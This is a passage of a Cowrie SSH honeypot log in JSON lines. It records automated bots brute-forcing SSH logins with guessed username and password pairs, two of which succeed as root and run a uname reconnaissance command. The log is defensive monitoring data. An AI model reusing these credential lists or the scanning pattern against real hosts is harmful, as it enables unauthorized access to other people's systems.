penssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:20:54.483895Z","src_ip":"92.118.39.72","session":"b7c3a932302b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:20:54.894736Z","src_ip":"92.118.39.72","session":"b7c3a932302b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:20:56.004112Z","src_ip":"92.118.39.72","session":"b7c3a932302b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48208,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a80f6554fc9","protocol":"ssh","message":"New connection: 92.118.39.92:48208 (159.203.135.109:22) [session: 9a80f6554fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:10.764458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:10.768901Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:10.876417Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"bot123","message":"login attempt [root/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:11.190742Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:11.430523Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:11.433045Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:11.539194Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:11.543211Z","src_ip":"92.118.39.92","session":"9a80f6554fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55568,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bbd13b8e70c","protocol":"ssh","message":"New connection: 195.178.110.218:55568 (10.17.0.5:22) [session: 7bbd13b8e70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:50.519106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:50.523728Z","src_ip":"195.178.110.218","session":"7bbd13b8e70c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:50.598957Z","src_ip":"195.178.110.218","session":"7bbd13b8e70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:50.821951Z","src_ip":"195.178.110.218","session":"7bbd13b8e70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:51.897968Z","src_ip":"195.178.110.218","session":"7bbd13b8e70c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39828,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7e021f3830","protocol":"ssh","message":"New connection: 80.94.92.184:39828 (10.17.0.5:22) [session: 3a7e021f3830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:52.014534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:52.065348Z","src_ip":"80.94.92.184","session":"3a7e021f3830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:52.170835Z","src_ip":"80.94.92.184","session":"3a7e021f3830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:53.166032Z","src_ip":"80.94.92.184","session":"3a7e021f3830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:54.285681Z","src_ip":"80.94.92.184","session":"3a7e021f3830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":19473,"dst_ip":"10.17.0.5","dst_port":22,"session":"068811575988","protocol":"ssh","message":"New connection: 2.57.121.112:19473 (10.17.0.5:22) [session: 068811575988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:55.638437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:55.641386Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:55.743979Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aero","message":"login attempt [admin/aero] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:56.230351Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adler","message":"login attempt [admin/adler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:57.390564Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adgjmpt","message":"login attempt [admin/adgjmpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:58.496945Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adams1","message":"login attempt [admin/adams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:21:59.602927Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adamant","message":"login attempt [admin/adamant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:22:00.709294Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:22:01.816013Z","src_ip":"2.57.121.112","session":"068811575988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":40920,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6086335ee73","protocol":"ssh","message":"New connection: 92.118.39.72:40920 (159.203.135.109:22) [session: c6086335ee73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:02.083043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:02.087653Z","src_ip":"92.118.39.72","session":"c6086335ee73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:02.196315Z","src_ip":"92.118.39.72","session":"c6086335ee73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miner","password":"miner","message":"login attempt [miner/miner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:02.614353Z","src_ip":"92.118.39.72","session":"c6086335ee73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:03.725538Z","src_ip":"92.118.39.72","session":"c6086335ee73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17597,"dst_ip":"159.203.135.109","dst_port":22,"session":"34708a763c33","protocol":"ssh","message":"New connection: 2.57.121.112:17597 (159.203.135.109:22) [session: 34708a763c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:27.207242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:27.211839Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:27.311496Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aero","message":"login attempt [admin/aero] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:27.782356Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adler","message":"login attempt [admin/adler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:28.884572Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35452,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f20c66c85d","protocol":"ssh","message":"New connection: 92.118.39.92:35452 (159.203.135.109:22) [session: 99f20c66c85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:29.467860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:29.473019Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:29.572744Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"telegramapi","message":"login attempt [root/telegramapi] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:29.875368Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adgjmpt","message":"login attempt [admin/adgjmpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:29.986511Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:30.113976Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:30.116618Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:30.230809Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
